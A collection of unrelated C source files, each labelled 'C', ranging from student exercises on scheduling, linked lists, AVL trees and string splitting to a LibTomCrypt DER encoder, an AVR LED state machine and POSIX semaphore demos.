#include <stdio.h> #include <stdlib.h> /* run this program using the console pauser or add your own getch, system("pause") or input loop */ int main() { int nbr,choix; printf("entrer un annes : "); scanf("%d",&nbr); printf("donner le choix \n 1. Mois \n 2:jours \n 3:heures \n 4:minutes \n 5:secondes\n"); scanf("%d",&choix); switch(choix) { case 1: printf("le mois est = %d",nbr*12); break; case 2: printf("le jours est = %d",nbr*12*30); break; case 3: printf("le heures est = %d",nbr*12*30*24); break; case 4: printf("le munites est = %d",nbr*12*30*24*60); break; case 5: printf("le secondes est = %d",nbr*12*30*24*60*60); break; } return 0; }
C
#include <stdio.h> // Function to find the waiting time for all processes int waitingtime(int proc[], int n, int burst_time[], int wait_time[]) { // waiting time for first process is 0 wait_time[0] = 0; // calculating waiting time for (int i = 1; i < n; i++) wait_time[i] = burst_time[i - 1] + wait_time[i - 1]; return 0; } // calculate turn around time int turnaroundtime(int proc[], int n, int burst_time[], int wait_time[], int tat[]) { // calculating turnaround time by adding // burst_time[i] + wait_time[i] int i; for (i = 0; i < n; i++) tat[i] = burst_time[i] + wait_time[i]; return 0; } //calculate average time int avgtime(int proc[], int n, int burst_time[]) { int wait_time[n], tat[n], total_wt = 0, total_tat = 0; int i; // find waiting time of all processes waitingtime(proc, n, burst_time, wait_time); //Function to find turn around time for all processes turnaroundtime(proc, n, burst_time, wait_time, tat); //Display processes along with all details printf("Processes Burst Waiting Turn around \n"); // Calculate total waiting time and total turn around time for (i = 0; i < n; i++) { total_wt = total_wt + wait_time[i]; total_tat = total_tat + tat[i]; printf(" %d\t %d\t\t %d \t%d\n", i + 1, burst_time[i], wait_time[i], tat[i]); } printf("Average waiting time = %f\n", (float) total_wt / (float) n); printf("Average turn around time = %f\n", (float) total_tat / (float) n); return 0; } // main function int main() { //process id's int n; printf("Enter the number of processes to schedule: "); scanf("%d", & n); int proc[n]; printf("Enter the process id of each process: "); for (int i = 0; i < n; i++) { scanf("%d", & proc[i]); } int burst_time[n]; printf("Enter the burst time of each process: "); for (int i = 0; i < n; i++) { scanf("%d", & burst_time[i]); } avgtime(proc, n, burst_time); return 0; }
C
/* LibTomCrypt, modular cryptographic library -- Tom St Denis * * LibTomCrypt is a library that provides various cryptographic * algorithms in a highly modular and flexible manner. * * The library is free for all purposes without any express * guarantee it works. */ #include "tomcrypt_private.h" /** @file der_encode_custom_type.c ASN.1 DER, encode a Custom Type, Steffen Jaeckel */ #ifdef LTC_DER /** Encode a Custom Type This function is a bit special compared to the others, as it requires the root-ltc_asn1_list where the type is defined. @param root The root of the list of items to encode @param out [out] The destination @param outlen [in/out] The size of the output @return CRYPT_OK on success */ int der_encode_custom_type(const ltc_asn1_list *root, unsigned char *out, unsigned long *outlen) { int err; ltc_asn1_type type; const ltc_asn1_list *list; unsigned long size, x, y, z, i, inlen, id_len; void *data; LTC_ARGCHK(root != NULL); LTC_ARGCHK(out != NULL); LTC_ARGCHK(outlen != NULL); /* get size of output that will be required */ y = 0; z = 0; if ((err = der_length_custom_type(root, &y, &z)) != CRYPT_OK) return CRYPT_INVALID_ARG; /* too big ? */ if (*outlen < y) { *outlen = y; err = CRYPT_BUFFER_OVERFLOW; goto LBL_ERR; } /* get length of the identifier, so we know the offset where to start writing */ if ((err = der_length_asn1_identifier(root, &id_len)) != CRYPT_OK) return CRYPT_INVALID_ARG; x = id_len; if (root->pc == LTC_ASN1_PC_PRIMITIVE) { list = root; inlen = 1; /* In case it's a PRIMITIVE type we encode directly to the output * but leave space for a potentially longer identifier as it will * simply be replaced afterwards. */ x -= 1; } else { list = root->data; inlen = root->size; /* store length, identifier will be added later */ y = *outlen - x; if ((err = der_encode_asn1_length(z, &out[x], &y)) != CRYPT_OK) { goto LBL_ERR; } x += y; } /* store data */ *outlen -= x; for (i = 0; i < inlen; i++) { if (root->pc == LTC_ASN1_PC_PRIMITIVE) { type = (ltc_asn1_type)list[i].used; } else { type = list[i].type; } size = list[i].size; data = list[i].data; if (type == LTC_ASN1_EOL) { break; } switch (type) { case LTC_ASN1_BOOLEAN: z = *outlen; if ((err = der_encode_boolean(*((int *)data), out + x, &z)) != CRYPT_OK) { goto LBL_ERR; } break; case LTC_ASN1_INTEGER: z = *outlen; if ((err = der_encode_integer(data, out + x, &z)) != CRYPT_OK) { goto LBL_ERR; } break; case LTC_ASN1_SHORT_INTEGER: z = *outlen; if ((err = der_encode_short_integer(*((unsigned long*)data), out + x, &z)) != CRYPT_OK) { goto LBL_ERR; } break; case LTC_ASN1_BIT_STRING: z = *outlen; if ((err = der_encode_bit_string(data, size, out + x, &z)) != CRYPT_OK) { goto LBL_ERR; } break; case LTC_ASN1_RAW_BIT_STRING: z = *outlen; if ((err = der_encode_raw_bit_string(data, size, out + x, &z)) != CRYPT_OK) { goto LBL_ERR; } break; case LTC_ASN1_OCTET_STRING: z = *outlen; if ((err = der_encode_octet_string(data, size, out + x, &z)) != CRYPT_OK) { goto LBL_ERR; } break; case LTC_ASN1_NULL: out[x] = 0x05; out[x+1] = 0x00; z = 2; break; case LTC_ASN1_OBJECT_IDENTIFIER: z = *outlen; if ((err = der_encode_object_identifier(data, size, out + x, &z)) != CRYPT_OK) { goto LBL_ERR; } break; case LTC_ASN1_IA5_STRING: z = *outlen; if ((err = der_encode_ia5_string(data, size, out + x, &z)) != CRYPT_OK) { goto LBL_ERR; } break; case LTC_ASN1_PRINTABLE_STRING: z = *outlen; if ((err = der_encode_printable_string(data, size, out + x, &z)) != CRYPT_OK) { goto LBL_ERR; } break; case LTC_ASN1_UTF8_STRING: z = *outlen; if ((err = der_encode_utf8_string(data, size, out + x, &z)) != CRYPT_OK) { goto LBL_ERR; } break; case LTC_ASN1_UTCTIME: z = *outlen; if ((err = der_encode_utctime(data, out + x, &z)) != CRYPT_OK) { goto LBL_ERR; } break; case LTC_ASN1_GENERALIZEDTIME: z = *outlen; if ((err = der_encode_generalizedtime(data, out + x, &z)) != CRYPT_OK) { goto LBL_ERR; } break; case LTC_ASN1_SET: z = *outlen; if ((err = der_encode_set(data, size, out + x, &z)) != CRYPT_OK) { goto LBL_ERR; } break; case LTC_ASN1_SETOF: z = *outlen; if ((err = der_encode_setof(data, size, out + x, &z)) != CRYPT_OK) { goto LBL_ERR; } break; case LTC_ASN1_SEQUENCE: z = *outlen; if ((err = der_encode_sequence_ex(data, size, out + x, &z, type)) != CRYPT_OK) { goto LBL_ERR; } break; case LTC_ASN1_CUSTOM_TYPE: z = *outlen; if ((err = der_encode_custom_type(&list[i], out + x, &z)) != CRYPT_OK) { goto LBL_ERR; } break; case LTC_ASN1_CHOICE: case LTC_ASN1_EOL: case LTC_ASN1_TELETEX_STRING: err = CRYPT_INVALID_ARG; goto LBL_ERR; } x += z; *outlen -= z; } if ((err = der_encode_asn1_identifier(root, out, &id_len)) != CRYPT_OK) { goto LBL_ERR; } *outlen = x; err = CRYPT_OK; LBL_ERR: return err; } #endif /* ref: HEAD -> develop */ /* git commit: 9c0d7085234bd6baba2ab8fd9eee62254599341c */ /* commit time: 2018-10-15 10:51:17 +0200 */
C
/* * jdefo002_lab3_part1.c - April 15, 2013 * Name: Joshua DeForest-Williams E-mail [email protected] * CS Login: jdefo002 * Partner Name: Ariana DeJaco E-mail:[email protected] * Lab Section: 022 * Assignment: Lab#3 Exercise#1 * Exercise Description: PB0 and PB1 each connect to an LED, and PB0's * LED is initially on. Pressing a button connected to PGetBit (INPUT_INPORT,0) turns off * PB0's LED and turns on PB1's LED, staying that way after button release. * Pressing the button again turns off PB1's LED and turns on PB0's LED. */ #include <avr/io.h> #include <avr/sfr_defs.h> // Current Port Definitions #define INPUT_DDR DDRA #define INPUT_INPORT PINA #define INPUT_OUTPORT PORTA #define LED_DDR DDRB #define LED_INPORT PINB #define LED_OUTPORT PORTB // Additional macros not defines in sfr_defs.h #define SET_PORT_BIT(OUTPORT, BIT) OUTPORT |= (1 << BIT) #define CLEAR_PORT_BIT(OUTPORT, BIT) OUTPORT &= ~(1 << BIT) unsigned char flag = 0; unsigned char GetBit(unsigned char x, unsigned char k) { return ((x & (0x01 << k)) != 0); } //volatile unsigned char TimerFlag=0; //raised by ISD, lowered by main code. //void TimerISR() { // TimerFlag=1; //} enum LED_States{Init, LED0,LED1, reset_flag_led1, reset_flag_led0} LED_State; void TickFct_LED(){ switch (LED_State){ // Transitions case Init: LED_State = LED0; //Initial State break; case LED0: if (GetBit (INPUT_INPORT,0) && !flag){ // a=0 LED_State = LED0; } else if(!GetBit (INPUT_INPORT,0)){ //a =1 LED_State = reset_flag_led0; } break; case LED1: if (GetBit (INPUT_INPORT,0) && flag) // a=1 { LED_State = LED1; } /* else if (!flag) { LED_State= LED0; }*/ else if (!GetBit (INPUT_INPORT,0)) //a =0 { LED_State = reset_flag_led1; } break; case reset_flag_led1: if (GetBit (INPUT_INPORT,0)) { LED_State = LED0; } break; case reset_flag_led0: if (GetBit (INPUT_INPORT, 0)) { LED_State = LED1; } break; default: LED_State =Init; break; } switch (LED_State){ //State Actions case LED0: SET_PORT_BIT(LED_OUTPORT,0); CLEAR_PORT_BIT(LED_OUTPORT,1); flag = 0; break; case LED1: SET_PORT_BIT(LED_OUTPORT,1); CLEAR_PORT_BIT(LED_OUTPORT,0); flag = 1; break; case reset_flag_led1: flag = 0; break; case reset_flag_led0: flag = 1; break; default: break; } } //DDRA: Configures each of port A's physical pins to input (0) or output (1) //PORTA: Writing to this register writes the port's physical pins (Write only) //PINA: Reading this register reads the values of the port's physical pins (Read only) int main(void) { LED_DDR = 0xFF; //Configures port B's 8 pins as outputs. LED_OUTPORT = 0x00; //Initialize output on port C to 0x00; INPUT_DDR = 0x00; // Configure Port A's 8 pins as inputs. INPUT_OUTPORT = 0xFF; // Configure Port A's 8 pins as inputs. LED_OUTPORT=0; //TimerSet(500); //TimerOn(); LED_State = Init; while(1) { TickFct_LED (); //while(!TimerFlag) {} //TimerFlag = 0; } }
C
#include<stdlib.h> #include<stdio.h> #include<time.h> #include<conio.h> #include<locale.h> #include<windows.h> #include<math.h> int main() { srand((unsigned)time(NULL)); setlocale(LC_ALL, "rus"); FILE *f; fopen_s(&f, "input.txt", "r"); int **a, n, i, j, k = 0, o = 1, x, y, d = 1; fscanf_s(f, "%d", &n); a = new int*[n]; for (i = 0; i < n; i++) { a[i] = new int[n]; } for (i = 0; i < n; i++) { for (j = 0; j < n; j++) { fscanf_s(f,"%d",&a[i][j]); printf("%d", a[i][j]); } printf("\n"); } i = (n-1)/2; j = (n - 1) / 2; while (k!=3) { for (x=0; x< abs(o); x++,i=i+d) { printf("%d ", a[j][i]); } k++; for (y = 0; y < abs(o); y++, j = j + d) { printf("%d ", a[j][i]); } k++; if (o < 0) { o = -o; } if (o < n) { o++; d = -d; } if (d < 0) { o = -o; } if (abs(o) == n) { for (x = 0; x < abs(o); x++, i = i + d) { printf("%d ", a[j][i]); } k++; } else k = 0; } fclose(f); _getch(); return 0; }
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* all_to_b.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: blavonne <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2020/08/22 02:34:11 by blavonne #+# #+# */ /* Updated: 2020/08/22 02:34:50 by blavonne ### ########.fr */ /* */ /* ************************************************************************** */ #include "push_swap.h" /* ** ==========TRY_SA========== ** This func tries to do sa and if stack a is slice after that ** then it returns 1 otherwise it rolls back sa and returns 0 */ int try_sa(t_stack **a, t_stack **b, t_info **info) { run_command("sa", a, 0); if (is_slice(*a)) { if (!push_in_vector(&(*info)->cmd_c, SA, sizeof(char))) clean_and_exit(a, b, info, 'm'); return (1); } else run_command("sa", a, 0); return (0); } /* ** ==========PB_FORWARD========== ** This func pushes numbers less than middle_val from top A to top B */ static void pb_forward(t_stack **a, t_stack **b, t_info **info,\ int middle_val) { t_stack *ptr; ptr = (*a); while (ptr && ptr->value < middle_val && !(is_slice((*a))) &&\ !try_sa(a, b, info)) { run_command("pb", a, b); if (!push_in_vector(&(*info)->cmd_c, PB, sizeof(char))) clean_and_exit(a, b, info, 'm'); ptr = (*a); } } /* ** ==========PB_BACK========== ** This func pushes numbers less than middle_val from bottom A to top B */ static void pb_back(t_stack **a, t_stack **b, t_info **info,\ int middle_val) { t_stack *ptr; ptr = (*a); while (ptr && ptr->value < middle_val && !(is_slice((*a))) &&\ !try_sa(a, b, info)) { if (!push_in_vector(&(*info)->cmd_c, RRA, sizeof(char))) clean_and_exit(a, b, info, 'm'); run_command("pb", a, b); if (!push_in_vector(&(*info)->cmd_c, PB, sizeof(char))) clean_and_exit(a, b, info, 'm'); run_command("rra", a, b); ptr = (*a); } } /* ** ==========RA========== ** This func rotates A till a-value is more or equal middle_val */ static void ra(t_stack **a, t_stack **b, t_info **info, int middle_val) { t_stack *ptr; ptr = (*a); while (ptr && check_mid(*a, middle_val) && ptr->value >= middle_val\ && !(is_slice((*a))) && !try_sa(a, b, info)) { run_command("ra", a, b); if (!push_in_vector(&(*info)->cmd_c, RA, sizeof(char))) clean_and_exit(a, b, info, 'm'); ptr = (*a); } } /* ** ==========ALL_TO_B========== ** This func keeps the biggest sorted by ascending order numbers in A ** and other numbers puts in B */ void all_to_b(t_stack **a, t_stack **b, t_info **info) { int middle_val; while ((*a) && (*a)->next && (*a)->next->next && !(is_slice((*a)))) { middle_val = get_middle(a, b, info); try_sa(a, b, info); while (check_mid((*a), middle_val) && !(is_slice((*a)))) { try_sa(a, b, info); pb_forward(a, b, info, middle_val); run_command("rra", a, b); pb_back(a, b, info, middle_val); run_command("ra", a, b); ra(a, b, info, middle_val); } } }
C
/* dfix(x) - integer portion of a real number. argument x must be a double. any use of dint.c will find an include to this file */ double dfix(x) double x; { union { double a; char c[8]; } z; register int n; int exp,mask=0xff; z.a = x; exp = ( z.c[7] & 0xff ) - 0x80; if ( exp >= 56 ) return(x); if ( exp <= 0 ) return(0.0); for ( n = 48; n > exp; n -= 8 ) z.c[n>>3] = 0; for ( n += 8; n > exp; --n ) mask <<= 1; z.c[n>>3] &= mask; return(z.a); }
C
/** * string.h: String library * * TODO The current implementation keeps makes a local copy of this library for * each object file during compilation. Does this make sense? Is there a * performance gain with this approach (e.g. better cache locality or compiler * optimizations like inlining for these static functions)? */ #ifndef _KERNEL_STRING_H #define _KERNEL_STRING_H #include "std.h" static size_t strlen(const char* str) { size_t len = 0; while (str[len]) len++; return len; } #endif // _KERNEL_STRING_H
C
#include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdlib.h> #include <unistd.h> int main() { //open test.txt and creat test.txt int fd = open("test.txt", O_RDWR|O_CREAT, 0664); if(fd <0) { perror("open"); goto out; } //write data to test.txt unsigned char write_buf[]="asdfghjkl;1234567890"; int ret=0; for(int i=0; i<100;i++) { ret = write(fd, write_buf, sizeof(write_buf)); if(ret == -1) { perror("write"); goto out; } } //close test.txt out: close(fd); return 0; }
C
#include <stdio.h> #include <string.h> #include <stdlib.h> #define ROZMIAR 30 struct ksiazka{ char autor[32]; char tytul[63]; unsigned ilosc; float cena; }; struct ksiazka magazyn[ROZMIAR]; int i; int wypelnij_strukture(const char *nazwaPliku) { const int max_n = 1000; char napis[max_n], *result; FILE* ksiazki = fopen(nazwaPliku, "r"); if (ksiazki == NULL) return -1; struct ksiazka *p = magazyn; int i=0; while (1) { result = fgets(napis, max_n, ksiazki); if (result == NULL) break; char * tmp = strtok(napis, ";"); strcpy(p->tytul, tmp); tmp = strtok(NULL, ";"); strcpy(p->autor, tmp); tmp = strtok(NULL, ";"); p->ilosc = atoi( tmp); tmp = strtok(NULL, ";"); p->cena = atof(tmp); p++; } } int main() { wypelnij_strukture("lista.txt"); printf("Wybierz jednego z autorów: \n============================================================\n"); printf("Robin Jarvis \tMercedes Lackey and Andre Norton \n"); printf("J. K. Rowling \tOrson Scott Card \tDavid Lindsay \n"); printf("Shirley Jackson \tTad Williams \tRichard Parks \n"); printf("Tom Holt \tJonathan Stroud \tRick Riordan \n"); printf("Arthur Machen \tPhilip Pullman \tJ. R. R. Tolkien \n"); printf("Pat O'Shea \tWilliam Hope Hodgson \tP.C. Cast \n"); printf("John Bellairs \tDiana Wynne Jones \tN. K. Jemisin \n"); printf("Suzanne Collins \tBecca Fitzpatrick \tSalman Rushdie \n"); printf("============================================================ \n"); char autor[100]; scanf("%[^\n]%c", &autor); float suma = 0; float vat = 0.07; for (int i = 0; i<ROZMIAR; i++) { if (strcmp(magazyn[i].autor, autor) == 0 ){ suma += magazyn[i].ilosc * magazyn[i].cena; } } suma *= vat; printf("Nalezny vat: %f", suma); return 0; }
C
//program to insert node at middle of LL using one loop #include<stdio.h> #include<stdlib.h> struct Node { int data; struct Node *next; }; typedef struct Node NODE; typedef struct Node* PNODE; typedef struct Node** PPNODE; void Insert(PPNODE Head,int iNo) { PNODE newn = NULL; newn = (PNODE) malloc (sizeof(NODE)); newn->data = iNo; newn->next = NULL; newn->next = *Head; *Head = newn; printf("Inserted element : %d\n",iNo); } void PrintLinkedList(PNODE Head) { while(Head != NULL) { printf("%d \t", Head->data); Head = Head->next; } printf("\n"); } void InsertAtMidd(PPNODE Head, int iNode) { PNODE slow_ptr = *Head; PNODE fast_ptr = *Head; PNODE temp = NULL; PNODE newn = NULL; newn = (PNODE) malloc (sizeof(NODE)); newn->data = iNode; newn->next = NULL; if(fast_ptr == NULL) //LL contain 0 element { printf("Linked list is empty\n"); return ; } if(fast_ptr->next == NULL) //LL contain 1 element { fast_ptr->next = newn; } while(fast_ptr != NULL && fast_ptr->next != NULL) //loop iterate until less than midd (midd chaya ek ghar adogar) { fast_ptr = fast_ptr->next->next; temp = slow_ptr; slow_ptr = slow_ptr->next; } newn->next = temp->next; temp->next = newn; } int main() { PNODE First = NULL; int iNode = 0; //creating linked list Insert(&First,6); Insert(&First,5); Insert(&First,4); Insert(&First,3); Insert(&First,2); Insert(&First,1); printf("Linked List before node insert at middle\n"); PrintLinkedList(First); printf("enter node to insert at middle\n"); scanf("%d",&iNode); InsertAtMidd(&First,iNode); printf("Linked List after inserting node at middle \n"); PrintLinkedList(First); return 0; } /*output Inserted element : 6 Inserted element : 5 Inserted element : 4 Inserted element : 3 Inserted element : 2 Inserted element : 1 Linked List before node insert at middle 1 2 3 4 5 6 enter node to insert at middle 100 Linked List after inserting node at middle 1 2 3 100 4 5 6 */
C
#include "comm.h" void init_sem(shared *sh) { sem_unlink(SHARED_MUTEX_SEM); if ((sh->mutex = sem_open(SHARED_MUTEX_SEM, O_CREAT | O_EXCL, 0644, 1)) == SEM_FAILED) { perror("sem_open error"); exit(1); } sem_unlink(SHARED_NOVERFLOW_SEM); if ((sh->noverflow_mutex = sem_open(SHARED_NOVERFLOW_SEM, O_CREAT | O_EXCL, 0644, 1)) == SEM_FAILED) { perror("sem_open error"); exit(1); } sem_unlink(SHARED_NEMPTY_SEM); if ((sh->nempty = sem_open(SHARED_NEMPTY_SEM, O_CREAT | O_EXCL, 0644, MSG_NUM)) == SEM_FAILED) { perror("sem_open error"); exit(1); } sem_unlink(SHARED_NSTROED_SEM); if ((sh->nstored = sem_open(SHARED_NSTROED_SEM, O_CREAT | O_EXCL, 0644, 0)) == SEM_FAILED) { perror("sem_open error"); exit(1); } } void init_shared_mem(shared **vptr) { shm_unlink(SHARED_MEM); shared *ptr = NULL; int fd; if ((fd = shm_open(SHARED_MEM, O_CREAT | O_RDWR | O_EXCL, 0644)) < 0) { perror("shm_open error"); exit(1); } if (ftruncate(fd, sizeof(shared)) < 0) { perror("ftruncate error"); exit(1); } if ((ptr = mmap(NULL, sizeof(shared), PROT_WRITE | PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED) { perror("mmap error"); exit(1); } close(fd); for (int i = 0; i < MSG_NUM; i++) ptr->offset[i] = i * MSG_SIZE; init_sem(ptr); if (vptr != NULL) *vptr = ptr; } int main(int argc, char *argv[]) { shared *ptr = NULL; init_shared_mem(&ptr); int i = 0, tmp = 0; int last_noverflow = 0; while (1) { sem_wait(ptr->nstored); sem_wait(ptr->mutex); int off = ptr->offset[i]; sem_post(ptr->mutex); printf("index = %d : %s\n", i, &ptr->data[off]); i = (i + 1) % MSG_NUM; sem_post(ptr->nempty); sem_wait(ptr->noverflow_mutex); tmp = ptr->noverflow; sem_post(ptr->noverflow_mutex); if (tmp != last_noverflow) { printf("noverflow = %d\n", tmp); last_noverflow = tmp; } } return 0; }
C
/* ** parallax.c for parallax.c in /home/roye_v/delivery/tekadventure ** ** Made by Vincent Roye ** Login <[email protected]> ** ** Started on Mon May 22 14:15:12 2017 Vincent Roye ** Last update Sun May 28 12:38:29 2017 Victor Dubret */ #include <SFML/Audio.h> #include <SFML/Graphics.h> #include <SFML/Graphics/Texture.h> #include <SFML/Graphics/Sprite.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <math.h> #include <stdio.h> #include "tekadventure.h" #include "main_screen.h" static void sound_click(sfVector2i *mouse_coords, t_window *win) { int i; i = 0; if (mouse_coords->x > ((SCREEN_WIDTH / 2) + 205) && mouse_coords->x < ((SCREEN_WIDTH / 2) + 345) && mouse_coords->y > (SCREEN_HEIGHT - 260) && mouse_coords->y < (SCREEN_HEIGHT - 235)) { sfText_setColor(win->main_menu.options.text, sfRed); while (sfMouse_isButtonPressed(sfMouseLeft) == sfTrue) i = 1; if (i == 1) { win->main_menu.sound++; if (win->main_menu.sound % 2 != 0) sfMusic_pause(win->music); else sfMusic_play(win->music); } } else sfText_setColor(win->main_menu.options.text, sfBlue); } static void get_mouse_toolbar(sfVector2i *mouse_coords, t_window *win) { if (mouse_coords->x > ((SCREEN_WIDTH / 2) + 205) && mouse_coords->x < ((SCREEN_WIDTH / 2) + 345) && mouse_coords->y > (SCREEN_HEIGHT - 290) && mouse_coords->y < (SCREEN_HEIGHT - 265)) { sfText_setColor(win->main_menu.new_game.text, sfRed); if (sfMouse_isButtonPressed(sfMouseLeft) == sfTrue) win->main_menu.clicked = 1; } else sfText_setColor(win->main_menu.new_game.text, sfBlue); sound_click(mouse_coords, win); } static void move_background(t_window *win, sfVector2i mouse_coords, sfVector2f pic_pos) { if (mouse_coords.x > (SCREEN_WIDTH / 2) && win->bg_pos.x < 0) pic_pos.x = 1; else if (mouse_coords.x < (SCREEN_WIDTH / 2) && win->bg_pos.x > -600) pic_pos.x = -1; else pic_pos.x = 0; if (mouse_coords.y > (SCREEN_HEIGHT / 2) && win->bg_pos.y < 0) pic_pos.y = 1; else if (mouse_coords.y < (SCREEN_HEIGHT / 2) && win->bg_pos.y > -700) pic_pos.y = -1; else pic_pos.y = 0; sfSprite_move(win->sprite, pic_pos); } int parallax_main_screen(t_window *win) { sfVector2i mouse_coords; sfVector2f pic_pos; mouse_coords = sfMouse_getPosition((sfWindow *)win->window); get_mouse_toolbar(&mouse_coords, win); win->bg_pos = sfSprite_getPosition(win->sprite); move_background(win, mouse_coords, pic_pos); return (0); }
C
#include <stdlib.h> int ft_is_space(char to_find, char *str) { int i; i = 0; while (str[i]) { i++; if (to_find == str[i]) return (1); } return (0); } int ft_wordcount(char *str, char *charset) { int i; i = 0; while (str[i]) { while (str[i] && (ft_is_space(&str[i], charset))) i++; if (str[i] && !(ft_is_space(&str[i], charset))) { i++; while (str[i] && !(ft_is_space(&str[i], charset))) i++; } } return (i); } char *create_word(char *str, int i, int j) { char *word; int o; o = 0; if ((word = (char *)malloc(sizeof(char) * (j - i))) == ((void *)0)) return ((void *)0); while (i < j) { word[o] = str[i]; i++; o++; } word[o] = '\0'; return (word); } char **ft_split(char *str, char *charset) { char **arr; int idx; int j; int i; int words; idx = 0; if ((words = ft_wordcount(str, charset))) { if (!str || ((arr = (char **)malloc(sizeof(char *) * (words + 1))) == ((void *)0))) return ((void *)0); i = 0; while (idx < words) { while (ft_is_space(str[i], charset) && (str[i])) i++; j = i; while (!(ft_is_space(str[j], charset)) && (str[j])) j++; arr[idx++] = create_word(str, i, j); i = j + 1; } } else arr = (char **)malloc(sizeof(char *)); arr[idx] = (void *)0; return (arr); }
C
#include <stdio.h> #include <stdlib.h> struct date { int year; int month; int day; }; struct student { char name[26]; float time; int recent_chapter; struct date last_visit; }; /** * Main. */ int main () { //declaring and initializing a variable struct student struct student he = { .name = "Sebastian", .time = 3.5, .recent_chapter = 4, .last_visit = { .year = 2021, .month = 10, .day = 24 } }; //declaring and initializing another variable struct student struct student she = { .name = "Antonella", .time = 3.5, .recent_chapter = 5, .last_visit = { .year = 2020, .month = 1, .day = 14 } }; struct student *other = malloc(sizeof(struct student)); *other = (struct student) { .name = "Other", .time = 1.5, .recent_chapter = 1, .last_visit = { .year = 2019, .month = 12, .day = 31 } }; //printing structures printf("name: %s\n", he.name); printf("year: %d\n", he.last_visit.year); printf("name: %s\n", she.name); //printing pointer to structure printf("name: %s\n", other->name); printf("year: %d\n", other->last_visit.year); //printing pointer to structure using dereferencing printf("name: %s\n", (*other).name); free(other); }
C
#include<stdio.h> int fibonacci(int x) { printf("we are in %d fibonacci\n",x); if(x>=3) return fibonacci(x-1)+fibonacci(x-2); else return 1; } int powf(int x,int n){ if(n>0){ return powf(x,n-1)*x; } else return 1; } int main( ) { //printf("%d\n", fibonacci(15)); int count; scanf("%d",&count); for (int i = 0; i < count; ++i) { printf("pow(3,%d) = %d\n",i,powf(3,i)); } }
C
#include <stdio.h> #include <stdlib.h> #include <strings.h> #include <string.h> #include "../Headers/AVL_stop_words.h" int nodeheight(node *p) { int hl, hr; hl = p && p->left ? p->left->height : 0; hr = p && p->right ? p->right->height : 0; return hl > hr ? hl + 1 : hr + 1; } //Calculate Balance Factor int bfactor(node *p) { int hl, hr; hl = p && p->left ? p->left->height : 0; hr = p && p->right ? p->right->height : 0; return hl - hr; } //Right Rotation node *RR(node *p) { node *pl = p->left; node *T2 = pl->right; pl->right = p; p->left = T2; p->height = nodeheight(p); pl->height = nodeheight(pl); return pl; } //Left Rotation node *LR(node *p) { node *pl = p->right; node *T2 = pl->left; pl->left = p; p->right = T2; p->height = nodeheight(p); pl->height = nodeheight(pl); return pl; } //Left-Right Rotation node *LRR(node *p) { p->left = LR(p->left); return RR(p); } //Right-Left Rotation node *RLR(node *p) { p->right = RR(p->right); return LR(p); } node* s_insert(node* root, char *key) { if(!root) { root = (node*)malloc(sizeof(node)); root->key = (char *) malloc(sizeof(char) * strlen(key)); strcpy(root->key, key); root->height=1; root->left = NULL; root->right = NULL; return root; } if (strcasecmp(key, root->key) < 0) root->left = s_insert(root->left, key); else if (strcasecmp(key, root->key) > 0) root->right = s_insert(root->right, key); root->height = nodeheight(root); if (bfactor(root) == 2 && bfactor(root->left) == 1) return RR(root); else if (bfactor(root) == -2 && bfactor(root->right) == -1) return LR(root); else if (bfactor(root) == -2 && bfactor(root->right) == 1) return RLR(root); else if (bfactor(root) == 2 && bfactor(root->left) == -1) return LRR(root); return root; } node* s_search(node* root, char *key) { if (root == NULL || strcasecmp(root->key, key) == 0) return root; if (strcasecmp(root->key, key) < 0) return s_search(root->right, key); return s_search(root->left, key); } void s_inorder(node* root) { if(root) { s_inorder(root->left); printf("%s\n", root->key); s_inorder(root->right); } }
C
/* ============================================================= Name : laib_8_es2.c Author : BCPTe Version : 1.0 Copyright : ++NONE++ Description : Laib_8 Exercise 2 - APA 19/20 PoliTO ============================================================= */ #include <stdio.h> #include <stdlib.h> #include "TILES.h" #include "BOARD.h" int remaining=0, actualmax=0; int main(){ int nr, nc, total_tiles; tiles *tile; tiles_boards **board, **sol; load_tiles(&tile, &total_tiles); load_board(&board, tile, &nr, &nc); sol=malloc(nr*sizeof(tiles_boards *)); for(int i=0 ; i<nr; i++) sol[i]=malloc(nr*sizeof(tiles_boards)); printf("Starting board:\n\n"); printBoard(board, nr, nc); solve(tile, total_tiles, board, sol, nr, nc); printf("\nSolved board:\n\n"); printBoard(sol, nr, nc); printf("VALUE: %d!\n", actualmax); return EXIT_SUCCESS; }
C
#include <unistd.h> #include <sys/wait.h> #include <stdlib.h> #include <stdio.h> #include <time.h> #include "semaphore/semaphore.h" #define PROC_COUNT 10 #define ITERATIONS 10 #define SEMAPHORE_SHARED_FILE "__sem.tmp" void noop(int sig) {} void critical_section() { static int count = 0; printf("<%d> critical section start (%d)\n", getpid(), ++count); sleep(rand() % 5); printf("<%d> critical section end (%d)\n", getpid(), count); } int main() { int i; pid_t parent = getpid(), dead_child; semaphore_t* sem = get_shared_semaphore(SEMAPHORE_SHARED_FILE); signal(SEMAPHORE_RESUME_SIGNAL_NUMBER, noop); semaphore_init(sem, 5); for (i = 0; i < PROC_COUNT; ++i) if (fork() == 0) break; srand(time(NULL) + getpid() + getpid() % PROC_COUNT); for (i = 0; i < ITERATIONS; ++i) { semaphore_lock(sem); critical_section(); semaphore_unlock(sem); } if (parent != getpid()) { printf("%d ended\n", getpid()); return 0; } printf("Parent got to the end\n"); i = PROC_COUNT; while (i) { printf("Waiting... \n"); dead_child = wait(NULL); printf("... got %d\n", dead_child); i--; } release_shared_semaphore(sem, SEMAPHORE_SHARED_FILE); return 0; }
C
